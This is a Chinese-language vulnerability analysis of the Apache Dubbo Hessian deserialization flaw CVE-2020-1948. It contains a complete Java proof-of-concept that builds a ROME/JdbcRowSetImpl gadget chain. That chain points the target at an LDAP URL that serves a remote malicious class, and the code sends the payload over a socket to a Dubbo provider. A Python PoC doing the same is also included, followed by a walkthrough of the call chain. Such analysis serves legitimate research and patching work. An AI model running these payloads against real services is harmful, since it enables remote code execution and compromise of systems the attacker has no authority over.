Apache Dubbo(CVE-2020-1948)反序列化利用链分析
腾讯安全玄武实验室研究员发现,Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时 (默认端口:20880),攻击者可以发送未经验证的服务名或方法名的 RPC 请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。
1.POC
先来看一下能够本地弹计算器的 POCP
package org.example;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import org.apache.dubbo.common.io.Bytes;
public class CVE_2020_1948_RomePoc {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写 ldap url
rs.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
rs.setMatchColumn("foo");
Field listenersField = FieldUtils.getField(javax.sql.rowset.BaseRowSet.class, "listeners", true);
listenersField.set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);// 用于触发 ToStringBean.tostring ()
HashMap s = new HashMap<>();
/*Field sizeField = FieldUtils.getField(HashMap.class, "size", true);
sizeField.set(s, 2);*/
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Field tableField = FieldUtils.getField(HashMap.class, "table", true);
tableField.set(s, tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的 dubbo 服务提供者地址和端口
Socket socket = new Socket("172.17.98.85", 12345);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}2. 触发原理
poc 执行后会在 DubboCodec.decodeBody () 内进行解密

进入 CodecSupport.deserialize ()

进入 Hessian2Serialization.deserialize ()

实例化一个新的 Hessian2Serialization 对象

返回 DubboCodec 执行下一行代码



执行 mH2i.readObject () 而 mH2i 在初始化时赋值为

根据不同的 tag 执行不同的处理方法

当 key 为 72 时会去执行 readMap

此处会根据 class 的类型实例化不同的 map 类,此处是 HashMap,继续下行执行 this.doReadMap (in, (Map) map, expectKeyType, expectValueType);

在 doReadMap 里面会执行 map.put 而 map 是 HashMap 即执行 HashMap.put 触发反序列化漏洞

很多讲这个原理的文章都到此为止了,但是笔者很困惑,因为 HashMap 并不像普通 CC 链使用了 transform,而且该漏洞的触发点是去远程加载恶意类,翻了挺多分析文章终于找到一篇讲到了调用链结尾技术研究 | Dubbo 反序列化漏洞分析 (CVE-2020-1948) - 知乎 (zhihu.com)
在执行 HashMap.put () 后会调用 EqualsBean.hashCode () 进入 EqualsBean.beanHashCode ()

而 EqualsBean.obj 就是 ToStringBean 会触发 ToStringBean.toString () [其实笔者原本是想直接把鼠标放在参数上截图的,奈何放一次弹一次计算器,原理就是 IDEA 查看属性的值时会调用其的 toString 方法,触发了 ToStringBean.toString (),详情参考:Java “后反序列化漏洞” 利用思路 - Ruilin (rui0.cn)]


在此处存在可以任意执行的 invoke 方法,并且 List

当执行 JdbcRowSetImpl.DatabaseMetaData 时



可以看到最终进入 lookup 远程加载恶意类
3.POC 分析
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写 ldap url
rs.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
rs.setMatchColumn("foo");
Field listenersField = FieldUtils.getField(javax.sql.rowset.BaseRowSet.class, "listeners", true);
listenersField.set(rs, null);此处实例化了一个 JdbcRowSetImpl 并且对其 DataSourceName 进行赋值,而上面执行 lookup 时的 DataSourceName 来源就是这个 (其余的参数应该是绕过函数执行的,没去找)
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);// 用于触发 ToStringBean.tostring ()这就有 Chaintransform 的那点意思了,就是搭链子,一步一步触发。通过 EqualsBean.hash () 触发 ToStringBean.tostring () 再触发 JdbcRowSetImpl.DatabaseMetaData
HashMap s = new HashMap<>();
Field sizeField = FieldUtils.getField(HashMap.class, "size", true);
sizeField.set(s, 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Field tableField = FieldUtils.getField(HashMap.class, "table", true);
tableField.set(s, tbl);先实例化 HashMap 并且设置其 size,然后就是开了一个数组并对其内进行进行了赋值,最后修改了 s.table 的属性(这些是必须的,会影响 MapDeserializer.in.isEnd () 的判断,影响里面的 _ offset 和 _ length 具体的原理没找出来,呜)
再看看网上找的 python 写的 POC
`# -*- coding: utf-8 -*-
#pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 12345)
JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://127.0.0.1:8087/Exploit",strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)
resp = client.send_request_and_return_response(service_name='cn.rui0',method_name='rce',args=[toStringBean])`这看起来就明白许多了就是上面的通过 EqualsBean.hash () 触发 ToStringBean.tostring () 再触发 JdbcRowSetImpl.DatabaseMetaData () 最后触发 Lookup () 远程加载
CVE-2020-1948Apache Dubbo 反序列化 RCE 漏洞分析 - FreeBuf 网络安全行业门户
